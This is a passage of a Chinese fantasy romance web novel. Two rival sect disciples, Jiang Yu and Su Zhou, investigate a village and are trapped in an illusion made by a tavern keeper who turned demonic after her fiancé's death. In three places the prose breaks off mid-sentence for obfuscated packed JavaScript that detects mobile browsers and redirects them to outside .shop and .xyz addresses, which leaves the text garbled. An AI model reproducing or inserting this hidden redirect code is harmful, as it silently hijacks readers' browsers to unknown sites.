“应该的。”掌柜连忙应声,目光落在姜鱼身上,看了好一会儿,满眼惊艳,“这位小仙子天人之姿,叫人见之忘俗,难怪都说修行的仙人跟我们普通人不一样……” 宿舟上前一步,刚好挡住了掌柜的视线,“走了。” 姜鱼不明所以:“催我干什么?” 宿舟抿了抿唇,片刻后道,“不想选个好房间?” 这话还真说中了姜鱼心事,她有点认床,出门在外,总是不适应。 宿舟一说,她顿时不想承认,立刻说,“我凑合凑合就行。” 最后还是于照分配了房间,为免矛盾,他特意把姜鱼和宿舟分在了自己的左右两边,有什么事也好及时劝架…… 入夜后,客栈附近一片安静,偶有几声虫鸣,连墙角的野猫也睡了。 躺在柔软的衾被中,姜鱼翻来覆去,怎么也睡不着。 她认床了。 客栈的床再软,也不如睡了十几年的小窝舒服。 睁着一双圆溜溜的眼睛躺了会儿,她没了睡意,干脆披衣而起,取下白螺剑,准备出门练剑。 刚打开房门,听到嘎吱一声,隔了一间房,宿舟也提剑出来了,他穿戴整齐,衣服没有一丝褶皱,俨然也要出门。 姜鱼狐疑看他:“你干嘛去?” 宿舟:“练剑。” 姜鱼:…… 见她神色,宿舟疑惑:“你也练剑?” “不行?” “……” 他没说话,但表情信不了一点,摇了摇头,转身就走。 “你站住!” 姜鱼忍不了他轻视自己,疾追上去两步,没想到宿舟真的听话站住了,一头撞在了他背上。 脊背传来肌肤贴近的温热触感,空中飘来她的发香,她无意识呼痛声落在耳侧,是近乎呢喃的语气。 宿舟浑身一震,明明被撞的是背,却好像变成了心脏,他下意识握紧了剑柄,心湖漾开层层涟漪。 13.第 13 章 一瞬间明明很短,可人的感受却很长。 姜鱼是尴尬,对方的背很硬,撞得她额头很痛,也不知是不是撞青了。 而宿舟,更多的是说不清道不明的情绪,在心中轻轻荡开,让他挪不动脚步。 就在姜鱼试图开口说些什么时,嘎吱一声,中间的房门开了,于照迈步而出。 最终两人谁也没有练剑,于师兄一句:“大半夜练什么剑,坐了四天马车不累吗?都回去睡觉”打发两人睡去了。 这么闹了一通,她反而有了睡意,躺在床上迷迷糊糊睡着了。 翌日一大早醒来,其他四人已经在楼下集合,她看了一眼宿舟,对方神色淡定,好像昨夜什么都没发生,她也神色自若,坐下吃饭。 芸晚看了她一会儿,“师妹,你额头怎么红了?” 姜鱼咬了一口包子,腮帮子鼓起来,说话含糊,“蚊子嗷(咬)的。” 芸晚惊叹:“快入冬了还有蚊子?” 姜鱼咽下包子:“是一只生命力特别强的蚊子。” 宿舟:…… 于照视线在两人身上转了一圈,什么都没说。 吃完了早饭,由他分配任务,“我和芸师妹、林师弟去小溪村外围查探,小鱼,你和宿舟在城中打探消息。” 姜鱼立刻反对:“打探消息,他一个人就够了,我跟你们一起去村子。” 于照本来也不想这么安排,但昨天他试过了,城中百姓对他敬畏居多,不肯深谈,小鱼不一样了,她一向讨人喜欢,更容易打探到消息。 “你放心,我们只是前去查看情况,不会现在就进村,真有办法进去,也是我们一起行动。”于照道。 “就算你这么说……” 说她容易打探到消息,那宿舟又算怎么回事?他那张冷脸,谁乐意跟他说话? 芸晚小声道:“宿师弟更受年轻姑娘欢迎。” 姜鱼:…… 原来是让他出卖色相,这下平衡了。 众人分配已定,再闹显得她很没道理,姜鱼只好接受了安排,出了客栈,她看了一眼宿舟,“我不可能和你一起行动,休想拖我后腿。” 宿舟轻抿唇:“我也不想。” 姜鱼:“那再好不过,我打听城南,你去城北,日落时碰头。” 两人就此分开,宿舟在城北一路打听,大约是他背着剑的缘故,路上老人小孩都躲着他,成年男子不敢看他,却有不少姑娘家一直偷偷看他,一旦他投以视线,对方就会惊慌躲避,低下头,掩饰涨红的脸。 他在宗内遇到过示好的同门弟子,但他孤僻的名声在外,同门不敢接近他,还真没见过这种阵仗,心情有些复杂。 他试着找人询问,还真打听到了一些消息,小溪村人口不多,附近有一条清水溪,鱼虾鲜美,村民靠山而生,大约一个月前,村长决定塑一座神女像,保佑村民。 自从做了这个决定,村中开始怪事频发,陆续有几个女子失踪,村民们说,这是好事,神女看中了她们,所以将人接走了;也有人说,是神女不满神女庙的风水,所以降下惩罚。 “他们供奉的神女,是何方神?”宿舟问。 “不知道。” “我也是道听途说,但见过那塑像的,都说神女美极了。” 宿舟颔首:“多谢。” “不、不客气。”只是多看了他一眼,这位大方搭话的路人女子还是不禁红了脸,“仙长是头一次来咱们玉梅郡吗?” “是。” “那一定要去尝尝咱们的玉梅酒,城里家家户户都会酿,滋味一绝,在别的地方可喝不到。” 宿舟向来滴酒不沾,还是谢过了她。 难怪一路走来街巷都飘着一阵酒香气,不少人家门口摆着酒坛,原来此地以酒闻名,也许可以带一坛回去给师尊…… 他一路打听,直到天色渐暗,沿街的铺子挂起了灯笼,城中百姓好酒,入夜人也不少,都是出来喝酒的。 经过一条闹市街,前方人流如织,他忽而驻足。 人群中,他敏锐看到了姜鱼,她今日穿着一身鹅黄袖衫,配月白褶裙,红丝发带藏在乌黑发间,颜色鲜亮,生得雪肤花貌,走在人群中也是最显眼的。 注意到这条街几乎半数人都在看她,他有些微妙的不快。 他的目光追随着对方,见她进了一处叫做【醉春楼】的地方,看着声色繁华,十分热闹。 他看到几个似乎不怀好意的醉鬼在门口徘徊,不由皱眉,下意识拦住了一个路人,问,“醉春楼是什么地方?” 那人是个书生,摇头晃脑道,“醉春楼啊,自然是醉生梦死,春色无边的好所在。” 宿舟:…… 眉皱得更紧了,姜鱼为何要去那种地方? 他脚步动了,想跟进去看看。 刚迈出一步,又不由迟疑,姜鱼去干什么,关他什么事?以她的心计,就算遇上麻烦,也只有别人倒霉的份。 身为竞争对手,他没必要关心姜鱼的安危。就算她和自己一起揭发了屠石,也只是为了自保,这样想着,迈出的脚步不由收回。 再想起昨夜的乌龙,心情已经平静无波,估计只是一时的错觉罢了。 片刻后,醉春楼门前。 宿舟抿了抿唇,拧眉走了进去。 …… 小溪村外,树影憧憧。 四下不见人影,进村的路消失在浓黑雾气里,这雾气弥漫四周,看似近在眼前,又无法靠近。 于照三人尝试了各种手段,都无法找到破绽。 机关球跟在三人身后,从隐匿状态显形,默默记录着这一幕。 于照道:“这似乎是某种阵法。” 他们刚才在高处看过,这些浓雾在小溪村外围和上方漂浮,像一个倒扣的碗,封住了整座村子,雾气迷诡,更像是某种法诀,而不是魔气。 但天骄榜既然说了是除魔任务,必然与魔有关。 “也许魔就藏身其中,不知村子里还有多少活口……” “这似乎是阵法。” 芸晚收回灵符,从这雾气中感应到了强大的力量,“要是姜师妹在这就好了。” 于照道:“劳烦师妹先记录情况,回去和小鱼商议,明日再来看能不能破解。” “好。” “于师兄还真是信任姜鱼。”林风道。 “我们之中,小鱼最懂阵法,问她有什么问题?” “要是她也不知道,又该怎么办?” “当然是继续想办法,怎么,难道要打道回府吗?”芸晚被他惹毛了,说话声音都大了几分。 “芸师妹说得对。”于照立刻支持,“林师弟,与其一直质疑,不如你也想想办法。” 林风的视线在两人身上转了一圈,阴沉半晌后一笑,“师兄说得对,我再去周围看看。” 他溜溜达达走了,于照和芸晚对视,一时不知说什么好。 片刻后,于照轻咳一声:“也不知道小鱼和宿舟那边怎么样了。” 芸晚道:“他们在城里,应该不会碰上什么危险吧?” 宿舟进了醉春楼,一进门,先闻到了一阵浓烈的酒香。 内里并不是他想象中的景象,大堂摆了十几桌酒席,酒客坐了一半,谈笑往来,觥筹交错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552975|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相当热闹。 原来醉春楼是一座酒楼…… 不过他记得姜鱼根本没有酒量,一杯就倒,某次喝醉了之后,说他是“剑宗的石头成精”,他那外号就是这么喊出来的。 拉回思绪,他走到柜台前询问,才形容了半句,伙计就道:“你说的一定是那位姜仙子吧?” “你怎么知道?” “您不用说,像那样貌美的姑娘,见过一次就忘不了。”伙计道,“姜仙子来找咱们掌柜的,您找她有事?” 宿舟神色微凝,姜鱼在玉梅郡还有旧识?一路都没听她提起。 “劳烦通报一声,我也想见掌柜。” “这……”伙计替他想了想,“您和那位姜仙子,想必熟识?” 他迟疑片刻,动了动唇:“是。” “我替您问一声。” “有劳。” 等了片刻,伙计回来道:“掌柜请您进去,她就在醉梦轩中。” 没想到这么顺利,顺着掌柜指引,宿舟穿过大堂,醉梦楼地方不小,绕过后厨,有条小径通往后方的小花园,掌柜所住的醉梦轩,就在花园尽头。 一踏进轩中,宿舟就察觉不对劲。 太安静了。 没有鸟声虫鸣,没有一丝风,仿佛踏进了坟墓,似有一道无形的气场,隔绝了外部的声音。 忽然,嘎吱一声轻响。 紧闭的大门敞开了一道缝隙,浓郁到如有实质的黑雾流淌而出。 宿舟:…… 这是无声的邀请,也是明晃晃的陷阱。 要进去吗? 这次他没有迟疑,推开大门,走了进去。 穿过一阵遮蔽视线的黑雾,眼前渐渐亮了起来,他好像来到了一处山野乡间,远处传来麦子成熟的香气,一排小鸭子排着队从眼前走过。 前方是凹凸不平的泥洼路,一群衣衫破烂的人聚集在路边,人群中,露出了一角织银鹅黄衣衫,衣料昂贵精致,片尘不染。 有人在说话,“仙子,我的病什么时候能好啊?” “你按我说的,将符贴在家中,很快就会好了。”这声音清脆悦耳,如风摇玉铃,是姜鱼的声音。 “仙子,那我呢?” “你也一样。” “仙子,我娘半夜不慎摔了一跤,醒来后就瞎了一只眼,您能给看看吗?” “这听起来有点麻烦,我也不是专门的大夫……”姜鱼想了想,“不过我这里有几颗丹药,你可以拿回去试试。” “多谢仙子!” 宿舟见她拿出珍贵的玉髓丹,分给这些凡人,眉头深深蹙了起来。 他在原地站了好一会儿,没人注意到他,姜鱼对这些人相当热心,想方设法为他们解决问题。 她慷慨大方、善良无私,一张皎皎如月的俏脸,在人群中熠熠生辉。 这和他认识的姜鱼完全不一样,他认识的姜鱼,心思狡诈手段多,在宗内收买人心,获得了许多支持。 可他没有想过,姜鱼是天性热心,才会有这么多人喜欢她。 他想起书阁外那次,小弟子求助她不拒绝,王之对她满口感激……更重要的是,这是幻境,而非现实。 这里的景物都蒙着一层濛濛白光,似幻非真,姜鱼身陷幻境而不自知,无意间展露出来的,就是她真实的性情。 宿舟心思复杂,看着姜鱼告别人群,独自往前走,他下意识跟了上去。 乡间小路野花飘香,她发间的红丝带随风轻扬,让人移不开视线。 眼看她要走进前方危险未知的村落,宿舟快步上前,轻拍她肩膀:“姜鱼,醒醒。” 14.第 14 章 姜鱼回过头,眼神从迷茫逐渐清醒,看清时他时又转为戒备,“你怎么在这?” 宿舟清楚看到她眼神变化,握剑的手微微收紧。 姜鱼四下打量周围环境,“咦,这不是小溪村吗?” “你来过?” “小时候来过一次。” “为何之前不说?” “为什么要说?”姜鱼瞪他,“宿行云,你审犯人是吧?” 宿舟:…… “这是幻境。” “看出来了。” 看出来? 那一开始又是如何中招? “我来找兰姨,她请我喝酒——” “你就喝了?” “没。”姜鱼扶了扶额头,“我闻到酒香,觉得有点头晕……兰姨为什么要算计我?” 在姜鱼很小的时候,爹娘带她参加朋友的婚宴,这位朋友叫南宫兰,是位酿酒师,她酿的醉梦酒在当地号称一绝。 婚宴上,三岁的小鱼趁着大人不注意偷偷抿了一口酒,当场醉了过去,错过了婚礼过程。醒来时,人已在回程的马车上,爹娘的心情看起来都有些沉重,她问起时,娘只说,兰姨出了些意外,婚没结成,还连夜离开了玉梅郡。 当时她年纪还小,爹娘没具体告诉她发生了什么,不过她一直还记得那一口醉梦酒的滋味,这次路过叫醉梦楼的地方,好奇进去打听,没想到兰姨就是醉梦楼掌柜,更没想到一见面,她就进了幻境。 “这么说,你上次见她是十六年前?” “对啊。” 宿舟沉默片刻,开口道:“我一直以为你精明,原来都是假象。” “?” “姜鱼,十六年没见的人,你也敢信任?” 姜鱼既惊讶又稀奇,掏了掏耳朵,“我没听错吧,全剑宗最孤僻的人,竟然教我怎么跟人相处?” “你——” “我当然有防备,只是没想到兰姨变得这么厉害。” 她的目光落在不远处的村落,天色濛濛,村口的榕树,树下的水井,都和她记忆中的位置一模一样。那年婚宴之前,爹带她去过一趟小溪村,记得村子后山上挖来的笋子格外鲜甜,其他就没什么印象深刻的了。 “当年在村子里,我还丢过一样东西……” “什么?” “不是什么重要的东西。” 不重要,但她很喜欢。 是她在路上买的一条手帕,质地柔软,上面绣着一条小鱼。 宿舟正想着她丢了什么,姜鱼却忽然停下脚步。 “说了半天,你怎么会在这?” “……” “咱们说好了,一个城南一个城北,你跑这来干什么?” “路过而已。”他神色淡然,只字不提自己是为何进来的。 “路过?” 姜鱼狐疑盯着他看,片刻后道,“就当你路过好了,咱们还是各走各的,告辞。” 说着,往旁边走了两步。 “姜鱼——” “还有事?” “你说这幻境不简单。” “是啊,所以——” “我们合作。” “要各凭——你说什么?!” 她眼睛睁大,总觉得今日的宿舟很不一样,要不是他的神态动作,让她确定是真人,姜鱼都要怀疑这人是幻境制造出来蒙骗她的了。 宿舟薄唇微抿,再次提出:“我们合作,破解幻境。” 姜鱼想也不想就要拒绝,宿舟说:“于照他们回来后,找不到我们,说不定会继续推进除魔之事,你想因此输掉天骄之争?” 一句话戳中死穴。 姜鱼脚步迟疑,斜眼看他,“怎么保证你不算计我?” “这话不该我说?”问过之后,他道,“我不会。” “我也不会。” “那就这样。”她勉为其难,微微点了点下巴,“咱们的合作关系,仅限于幻境内,出去之后,该怎样就怎么样。” “好。” 达成一致,两人一起往小溪村走。 走到村口,姜鱼瞥了他一眼,“你那道护体剑气一定要对着我?” 宿舟:“你藏在袖子里的符纸,不也在防备我?” 话说完,双方都陷入沉默。 宿舟先撤去了剑气,姜鱼也默默收起了符纸,进了村子,一只土狗跑出来冲着两人吠叫,宿舟下意识往前挡了一下。 姜鱼没有察觉,还饶有兴趣逗起了狗,“去去~” 宿舟:…… 土狗见她半点不怕,很没尊严,灰溜溜走了。 榕树下两个老头在下象棋,旁边一群人围观,一片和乐景象,十几年前她只是路过小溪村,记忆中没发生什么特别的事,也没有认识什么人,就觉得没什么提起的必要。 “你们听说了吗,南宫兰和方野要在城里斗酒了!” “斗酒?” “是啊,整个玉梅郡,谁不知道他们两最会酿酒?一个自创醉梦酒,一个家传玉梅酒,斗得不亦乐乎。” “明天一大早,他们准备各拿出十坛佳酿,招待往来酒客,请他们评判,谁是玉梅郡最好的酿酒师。” “还有这种好事?我也要去凑热闹。” “带我一个!” 两人从村头走到村尾,发现几乎所有人都在谈论此事,当地好酒成风,两人的名气都很大。 “没记错的话,兰姨那位夫婿,好像就姓方。” “三岁的事情,记这么清楚?” “那当然。”姜鱼得意,“天才儿童,没见过吗?” “……” 说话间,两人走到了村尾,前方是一片茫茫白雾。两人对视一眼,都意识到将他们拉入幻境中的人,是想让他们看一段旧事,不约而同踏入雾中。 白雾散去,喧嚣热闹扑面而来。 长街上摆开了两列长长的桌子,几十个大酒坛堆在桌上,围观者几乎将整条街都堵住了。 右侧长桌后方,一个布巾挽发,打扮干练的女子站在长桌后方,喊话道:“方野,今日老娘压箱底的宝贝都拿出来了,定要和你分出胜负!” 在她对面,一个体型高大魁梧,长相粗犷的男子道,“南宫兰,我这家传玉梅酒,就是整个玉梅郡最好的酒!” 南宫兰:“你放屁!” 方野:“哈哈!老子就是放的屁,也比你的酒香!” “呸!”南宫兰抬手招来一坛酒,拍开酒封,霎时一股浓烈酒香气冲天,利落的身手引得人群一阵喝彩。 “我这醉梦酒,一坛可醉百日,醇香浓厚,你家马尿拿什么比?” “竟敢侮辱我家传美酒,你这憨妇!” “比不得你这夯汉!” 隔着一条街,两人骂得热火朝天,不可开交。 那你来我往的架势,姜鱼竟然觉得有点眼熟。难道她和宿舟吵架的时候,也这样眼睛瞪大,鼻孔贲张,吐沫星子乱飞吗?这也太损形象了…… 她下意识看向宿舟,要不下次还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16564427|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别吵了,直接动手好了。 宿舟:“你在想什么?” “没什么。” “你说,她后来和这个方野成亲了?” 兰姨和方野的关系,不就跟她和宿舟一样吗?见面就掐,互相竞争,谁也看不惯谁,这样的关系,最后竟然成了夫妻?! 那她和宿舟…… 不不,绝不可能。 姜鱼把头摇成了拨浪鼓,“姓方的这么多,肯定不是他!” 宿舟看向正在吵架的两人,方野不管骂得多凶,眼里都只有南宫兰,仿佛其他人都入不了他的眼…… 他下意识移开视线,不知为何,有些看不下去。 目睹两人吵完架,白雾再次降临,这次他们来到了一处山林,看到南宫兰狼狈倒在一棵树旁,身上有不少擦伤,脸色煞白,眼睛紧闭,手里紧紧攥着一棵灵草。 这深山老林中,她独自一人受伤,情况十分凶险,草丛窸窸窣窣,一条蝮蛇悄然靠近。 眼看毒蛇就要一口咬上来,草丛中飞出一把镰刀,把窜出的毒蛇砍成两段,紧接着,有人骂骂咧咧拨开草丛,快步走了出来。 “南宫兰,你这婆娘真是不要命了,一个人上山找什么药草,不知道山上有妖兽吗?” 南宫兰迷迷糊糊睁开眼睛,看见是他,虚弱道,“别救我,不要……欠你人情……” 方野一听,额头青筋暴起:“老子偏要救你!” 说着,一把将南宫兰扛了起来,背着她就往山下走。 “放开我……咳咳……放开。” “就不放。”他倔强道,“南宫兰,老子这个人情,你欠定了!” 两条人影渐渐走远,地上留下了两行足迹,来时是南宫兰,去是方野,脚印交叉,渐渐印到了一起。 姜鱼眼神飘忽,刚才方野把兰姨背起来的时候,她竟然看到兰姨脸上浮上一抹红晕……不对,一定是她看错了。 那种情况下,除了尴尬难堪,还能有什么别的感觉? 她想着心事,也没注意到旁边宿舟的表情不对劲,他全程都在注意方野,看他嘴上虽然嫌弃,托着对方的手却紧紧不放,舍不得松开。 雾气又一次蔓延,场景换成了南宫家厅堂内,南宫兰看着对面的方野和媒婆,“你说,你是来提亲的?” “对。”方野爽快道,“兰儿,要什么聘礼才肯嫁给我,你尽管开口。” “你怎么——” “老子就是看上你了,此生非你不娶。” 南宫兰眼神微动,开口道,“我要你承认,醉梦酒就是世上最好的酒。” 方野挠了挠头,“只有这个不行,我若说了,半夜方家的祖先会站在床头骂我的。” 不等对方说话,他又说,“不过你放心,我不会让你失望,兰儿,我会酿出世上最好的酒,来迎娶你为妻!” 场景就此结束,雾气从四面八方涌来,姜鱼没想到兰姨的夫君还真是个方野,又不禁好奇,“后来呢,他真的做到了吗?” 然而雾久久没有散去,他们并没有看到接下来发生了什么,只是原本白色雾气渐渐变黑,变得浓稠而湿冷,这种令人浑身不适、不容错认的——魔气! 黑雾散开后,他们来到了一座破败院落,苔藓蔓生,蛛网遍结,南宫兰坐在院子里,抱着一坛酒,她不复年轻,眼神有些麻木。 “你问我后来发生了什么?”她流淌怨毒的眼睛看向姜鱼,“大婚当日,你娘杀了方野,使我孤寂一生……姜鱼,你竟然还敢来找我!” 15.第 15 章 南宫兰怨念横生,霎时魔气暴涨,化为无数道魔箭,向着姜鱼倾泻而来。 却见她不慌不忙,抬手掐诀,面前张开一道淡蓝色屏障,将魔气之箭尽数挡下。 见对方面露惊讶,姜鱼道:“兰姨,我知道你恨我,但我也知道,你不想杀我。” “你——” “你只喜欢酿酒,不喜欢杀人,更不擅长威胁人。我娘说过,兰姨能酿天下最好的酒,是因为她有一颗天下最纯质的心。” 淡淡天光映照她温柔眸色,浸透人心般治愈。 南宫兰错愕之余,心底翻腾的怨憎竟被压下去稍许,她道:“当年,她说方野入了魔……” 姜鱼心道果然。 她相信娘不会无理由杀人,让她在婚宴上动手的理由,只有可能是不得不出手。 要酿天下最好的酒,就必须有独一无二的酒引,为了兑现求亲那天的承诺,方野离开玉梅郡,踏上了路途。 时间转眼过去三年,他始终没有收获,但在路上这段时间,他不断给南宫兰写信,告诉她自己在路上的见闻。 南宫兰知道,酿成天下一绝的酒,已经不止是一份承诺,也成了他的执念。 又过了半年以后,她收到方野的一份措辞热烈的信,信上说,他已经找到了想要的酒引,很快就会回来和她团聚。 “兰儿,等我娶你。” 信的最后,方野留下了这句话。 她本以为自己心中会毫无波动,但涌上心头欣喜骗不了人,以至于忽略了这封信寄来的地点,是离魔渊很近的暮雨城。 一个月后,方野回归,两人开始筹办婚事,她察觉到方野有些不对劲,脾气比以前变得更阴沉,望着她的眼神令人不寒而栗。 那时她以为是因为在外游历的缘故,没想到他已受魔气感染,滋生魔念,直到大婚那日,姜家夫妻到访。 方野将那坛酿好的酒搬了出来,说要接待贵客,没想到当着客人的面,他的魔种激发,长出了魔纹,被好友白荔一剑杀死…… “就是这把剑,夺走了他的命。”南宫兰低头看姜鱼手中的剑,眼中恨意再度翻涌,“他确实入了魔,但他又做错了什么?入魔不是他所愿,他没害过人,白荔却杀了他!” “你说我不想杀你?”她冷冷笑起来,“天真!” “姜鱼,今日我必要你死,为他报仇!” 话音落,魔气升腾。 从小院四面八方涌出滚滚黑雾,雾气中隐约可见人形凝聚,瘦长四肢,锋锐利爪,数量越来越多。 “是低级魔物。”宿舟的语气沉肃。 这东西由魔气凝聚而成,不畏死不怕痛,一只还好对付,数量多了,很是难缠。 “小心应对。” “不用提醒。” 清脆铃声响动,幻术已然发动。 姜鱼操纵幻铃,铃声响处,魔物们本能受到影响,开始互相攻击起来,她指尖夹着三张黄符,手诀变幻,符术发动。 轰然金光炸响,另一边刚从雾中走出的魔物,还没碰到她,就被炸了个粉碎。 细碎的金色流光浮动,像放了一场烟火。 宿舟看了她一眼,她还是老样子,打起架来手段层出不穷,别的不提,声势够大。 他也不甘落后,剑势运如急雨,剑光扫荡,一行低阶魔物应声倒下。 原先的院落消失了,南宫兰也隐进了雾气之中,魔气翻涌不止,魔物汇聚成潮,源源不断。 两人杀了不知多久,渐渐气力不支。 姜鱼暗道不对,她虽然不知道以前兰姨是什么实力,但她一心都在酿酒上,修行并不勤,怎么成魔之后会如此厉害?这么浓厚的魔气、如此多的低等魔物,真是她制造出来的吗? “宿行云。”她轻喘口气,“不能再拖下去了。” “你想如何?” “我还有十张符,我会同时引爆它们,你配合我,一口气清空魔气。” 一次性引爆十张符? 他知道符术的难度在于控制灵气,一次控制太多符纸,灵气失控,会反伤自己,他见过四峰弟子控制五张符,都十分困难,她竟然一次能操控十张? 在自己面前,她到底还有多少未露的底牌? 宿舟神色复杂,“好。” 姜鱼掏出符纸,又不放心的看了他一眼,“一定要我引爆的同时出剑。” 这其实需要一点默契。 但他们两之间真有那玩意吗? 到了这时候,不行也得行,只能硬上了。 她双手交叉,十张符纸夹在指缝间,四周涌动的灵气拂动她额前碎发,眼眸亮如晨星,“太乙九霄,苍龙朱凤!” 十张符纸同时亮起,灵气金光在空中汇聚成一龙一凤的形状,龙凤齐鸣,动彻青霄,飞进魔物群中。 轰! 无数魔物被炸得支离破碎,爆炸瞬间,万千道剑气随之跟上,铺天盖地的剑雨混合在爆炸中,将滚滚魔气驱散净化。 魔物不再生成,魔气也消散了大半。 两人联手清场了。 招落之后,姜鱼忍不住看向宿舟,他确实有几分实力,没拖自己后腿,天生剑骨能净化魔气这点,也太占便宜了。 察觉到她在看自己,宿舟收剑:“走吧。” 两人走过这片空茫的空间,前方出现了两扇雾门,一左一右,像在等着他们选择。 姜鱼毫不迟疑走到右边,“我右你左。” 宿舟动了动唇,却没说什么,径直走向了左侧。 两人身影陷入雾门中,进去之前,宿舟回头看了一眼,姜鱼的身影已然消失在门后。 白雾茫茫。 姜鱼从雾气中走出,她面前出现了一道透明似玻璃的结界,结界另一侧,分割为两道空间,左侧的空间里,一棵古老的落霞花在院落中央,纷纷扬扬的花瓣落下,像落了一场粉雨。 此情此景再熟悉不过了,这是她家的后院。 院子里,她娘坐在树下,长发挽起,鬓间簪着一朵白昙花,坐在树下出神,仔细看,她手中拿着一枚小鱼玉佩,轻轻摩挲。 “娘。”姜鱼忍不住喊出声。 白荔毫无所觉,她甚至没注意到,从院子四角涌起的魔气,那些魔气如同滋长的触手,缓缓向她靠近。 再看右边,这是一个完全封闭的空间,先前她在小溪村村头见过的那些村民,都聚集在这里,他们满脸惊恐,缩成一团。 空间四角黑雾泛起,雾气中传来咯吱咯吱的声音,那是低等魔物正在生长骨刺的声音,叫人有些毛骨悚然。 等她看清两边的情况,南宫兰的声音响起:“姜鱼,我给你一个选择的机会,这两边,你可以选择进一边,是救你娘,还是救这些村民呢?” 话音落,通往左右的两扇雾门又一次出现了。 南宫兰:“你们口口声声要除魔卫道,救你娘一人,还是救这十几人,你会怎么选?” 姜鱼道:“这只是幻境。” 她娘好好的在天剑宗内,不可能出现在这里。 “确实,这只是幻境。”她弹了个响指,两处空间内的景物都有些扭曲模糊,魔气涌动更加剧烈了。 “但幻境中发生的一切,也会影响现实中人的气运,若不救你娘,她会被魔气吞噬,从而影响到现实,上次受伤无法拿剑,这一次又会发生什么呢?” 姜鱼暗自握紧了拳。 她不能接受娘出一点意外。 脚步走向左侧时,右边响起的呼救声引起了她的注意,几只魔物从雾气中走出来,缓缓靠近那些村民。 村民们如同待宰羔羊,面对魔物,根本没有反抗能力。 姜鱼脚步迟疑,如果她不管的话,这些人会被魔物撕碎……就在刚刚,他们还和自己聊得很开心。 再看左边,从庭院角落蔓延的魔气已经缠上了娘的手脚,白荔一动不动,她眼里只有那枚玉佩,眼中满是疼爱。 姜鱼左右为难,身后响起一阵阴冷笑声。 “还不选,你谁也救不了,难道——你要眼睁睁看着他们都死在你面前吗?”这声音阴寒沙哑,已经扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581248|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲得不似南宫兰的本音。 见姜鱼站定不动,对方接着说,“原来白荔的女儿如此懦弱无能,面对这种场面,连选择不敢——” 话未说完,姜鱼已经动了。 她身影瞬闪,冲向右侧的雾门。 “姜鱼,你竟然不救你娘?” 锵—— 回应她的,是白螺剑出鞘的声音。 她进了右侧门内,就在传进去的瞬间,一只魔物掐住了村民的脖子,狠狠啃了下去! “啊!!” 下一秒,魔物的头颅高高飞起,魔血四溅。 村民惊魂甫定,愣愣看着提剑而来的姜鱼,她的衣带和披帛飘飞,挡在魔物面前,如同天降神兵,把一众村民都看傻了。 “仙、仙子——” “别怕,我会保护你们。” 姜鱼心无旁骛,杀光了空间内魔物,周围的雾气散去,南宫兰再度出现在她面前,神色复杂,“你真的舍弃你娘,选择他们?” 姜鱼看了一眼她手中抱着的酒坛,神色冷静,“我娘是假的,但他们——是真人,我猜得没错吧?” 南宫兰神色错愕,“你怎么发现的?” 姜鱼:“凭感觉。” 这个幻境极度接近真实,宿舟把她唤醒后,她就怀疑过,那些村民是不是跟她一样,也是中了幻术,不知自己身在幻境中。 直到刚才,她看到那些人流露的惊恐惧怕,她敏锐察觉到,那是能感染她的、真实的情绪,瞬间就做了决定。 “你就不怕自己猜错了?” “兰姨的反应已经告诉了我,我猜对了。”她道,“就算我猜错,你说的也不一定是真的,能强大到影响本人气运的幻术,我还没见过,你故意这么说,想乱我心神而已。如果真的有那种幻术,我也不怕,因为——” “我已经有能力保护我娘,不会让任何人伤害她。” 掷地有声的话语落下,南宫兰沉默了好一阵。 她一瞬似有些动容,下一瞬又阴狠起来:“你娘确实不在这,但你还被困在这里,以为我真的不会杀你吗?” “兰姨舍得吗?”她眼尾上翘,扬起笑容,语调清软动听。 “装乖示弱,不怕丢了你爹娘的脸面?” “在亲近的人面前,示弱有什么问题?”姜鱼一双明眸盯着她看,“在我娘面前,我也这么说话。” 南宫兰抱着酒坛的指节用力,微微泛白,“巧言令色。” 片刻后,她冷笑一声,“我还有最后一个考验,若你能通过,我就考虑放了你,若通不过,只能怪你运气不好,注定要死在我手里。” “什么考验?” 她挥了挥手,姜鱼眼前的场景又变了。 入目满眼大红色,红木桌椅、红色床帐,两对红烛高燃,桌上还摆着两套喜服,这分明是一间婚房。 这又是什么考验? 一转眼,她看到了站在一旁的宿舟。 他脸色微白,脸上和手臂都有伤痕,身上冷寒剑气未散,似乎刚刚经历一场血战,突然出现在此,还有些没缓过神。 姜鱼目光落在他颊上划伤,血迹已经凝固,如同雪绽红梅,极为醒目。 “你刚刚遇到了什么?”她有些好奇。 “恶蛟。” 就在姜鱼心想“就这”时,他又补充了一句,“三条。” 噗。 